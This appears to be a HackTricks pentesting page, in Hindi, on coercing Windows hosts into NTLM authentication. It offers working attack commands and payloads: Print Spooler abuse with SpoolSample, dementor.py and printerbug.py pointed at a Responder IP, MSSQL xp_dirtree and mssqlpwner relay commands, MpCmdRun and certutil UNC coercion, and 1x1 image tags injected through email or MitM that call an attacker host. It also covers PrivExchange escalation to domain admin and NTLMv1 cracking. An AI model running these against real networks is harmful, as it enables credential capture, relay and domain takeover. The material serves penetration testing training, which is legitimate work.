Force NTLM Privileged Authentication

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

SharpSystemTriggers

SharpSystemTriggers एक संग्रह है दूरस्थ प्रमाणीकरण ट्रिगर्स का, जिसे C# में MIDL कंपाइलर का उपयोग करके 3rd पार्टी निर्भरताओं से बचने के लिए कोडित किया गया है।

Spooler Service Abuse

यदि Print Spooler सेवा सक्रिय है, तो आप कुछ पहले से ज्ञात AD क्रेडेंशियल्स का उपयोग करके डोमेन कंट्रोलर के प्रिंट सर्वर से नए प्रिंट जॉब्स पर एक अपडेट अनुरोध कर सकते हैं और बस इसे किसी सिस्टम को सूचना भेजने के लिए कह सकते हैं।
ध्यान दें कि जब प्रिंटर किसी मनमाने सिस्टम को सूचना भेजता है, तो इसे उस सिस्टम के खिलाफ प्रमाणित होना आवश्यक है। इसलिए, एक हमलावर Print Spooler सेवा को किसी मनमाने सिस्टम के खिलाफ प्रमाणित करवा सकता है, और सेवा इस प्रमाणीकरण में कंप्यूटर खाता का उपयोग करेगी।

Finding Windows Servers on the domain

PowerShell का उपयोग करके, Windows बॉक्सों की एक सूची प्राप्त करें। सर्वर आमतौर पर प्राथमिकता होते हैं, इसलिए आइए वहीं ध्यान केंद्रित करें:

bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Spooler सेवाओं को सुनने के लिए खोजना

थोड़ा संशोधित @mysmartlogin's (Vincent Le Toux's) SpoolerScanner का उपयोग करते हुए, देखें कि क्या Spooler सेवा सुन रही है:

bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

आप Linux पर rpcdump.py का उपयोग कर सकते हैं और MS-RPRN प्रोटोकॉल की तलाश कर सकते हैं।

bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

सेवा को किसी मनमाने होस्ट के खिलाफ प्रमाणीकरण के लिए कहें

आप SpoolSample को यहां से संकलित कर सकते हैं.

bash
SpoolSample.exe <TARGET> <RESPONDERIP>

या 3xocyte's dementor.py या printerbug.py का उपयोग करें यदि आप Linux पर हैं।

bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Unconstrained Delegation के साथ संयोजन

यदि एक हमलावर पहले से ही Unconstrained Delegation के साथ एक कंप्यूटर को समझौता कर चुका है, तो हमलावर प्रिंटर को इस कंप्यूटर के खिलाफ प्रमाणित करवा सकता है। अनियंत्रित प्रतिनिधित्व के कारण, प्रिंटर के कंप्यूटर खाते का TGT अनियंत्रित प्रतिनिधित्व वाले कंप्यूटर की मेमोरी में सहेजा जाएगा। चूंकि हमलावर पहले से ही इस होस्ट को समझौता कर चुका है, वह इस टिकट को पुनः प्राप्त कर सकेगा और इसका दुरुपयोग कर सकेगा (Pass the Ticket)।

RCP बल प्रमाणीकरण

GitHub - p0dalirius/Coercer: A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 12 methods.

PrivExchange

PrivExchange हमला Exchange Server PushSubscription फीचर में पाए गए दोष का परिणाम है। यह फीचर किसी भी डोमेन उपयोगकर्ता को जो एक मेलबॉक्स रखता है, को HTTP के माध्यम से किसी भी क्लाइंट-प्रदानित होस्ट के खिलाफ Exchange सर्वर को मजबूर करने की अनुमति देता है।

डिफ़ॉल्ट रूप से, Exchange सेवा SYSTEM के रूप में चलती है और इसे अत्यधिक विशेषाधिकार दिए जाते हैं (विशेष रूप से, इसके पास डोमेन प्री-2019 संचयी अपडेट पर WriteDacl विशेषाधिकार हैं)। इस दोष का उपयोग LDAP को जानकारी भेजने और बाद में डोमेन NTDS डेटाबेस को निकालने के लिए किया जा सकता है। उन मामलों में जहां LDAP को रिले करना संभव नहीं है, इस दोष का उपयोग डोमेन के भीतर अन्य होस्ट के खिलाफ रिले और प्रमाणीकरण के लिए किया जा सकता है। इस हमले का सफलतापूर्वक शोषण करने से किसी भी प्रमाणित डोमेन उपयोगकर्ता खाते के साथ डोमेन व्यवस्थापक तक तात्कालिक पहुंच मिलती है।

Windows के अंदर

यदि आप पहले से ही Windows मशीन के अंदर हैं, तो आप विशेषाधिकार प्राप्त खातों का उपयोग करके Windows को एक सर्वर से कनेक्ट करने के लिए मजबूर कर सकते हैं:

Defender MpCmdRun

bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

या अन्य तकनीक का उपयोग करें: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

NTLM प्रमाणीकरण को मजबूर करने के लिए certutil.exe lolbin (Microsoft द्वारा हस्ताक्षरित बाइनरी) का उपयोग करना संभव है:

bash
certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

यदि आप उस उपयोगकर्ता का ईमेल पता जानते हैं जो उस मशीन में लॉग इन करता है जिसे आप समझौता करना चाहते हैं, तो आप बस उसे एक 1x1 छवि के साथ एक ईमेल भेज सकते हैं जैसे

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

और जब वह इसे खोलेगा, तो वह प्रमाणीकरण करने की कोशिश करेगा।

MitM

यदि आप किसी कंप्यूटर पर MitM हमला कर सकते हैं और एक पृष्ठ में HTML इंजेक्ट कर सकते हैं जिसे वह देखेगा, तो आप पृष्ठ में निम्नलिखित की तरह एक छवि इंजेक्ट करने की कोशिश कर सकते हैं:

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

NTLMv1 को क्रैक करना

यदि आप NTLMv1 चुनौतियों को कैप्चर कर सकते हैं, तो यहां पढ़ें कि उन्हें कैसे क्रैक करें
याद रखें कि NTLMv1 को क्रैक करने के लिए आपको Responder चुनौती को "1122334455667788" पर सेट करना होगा

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें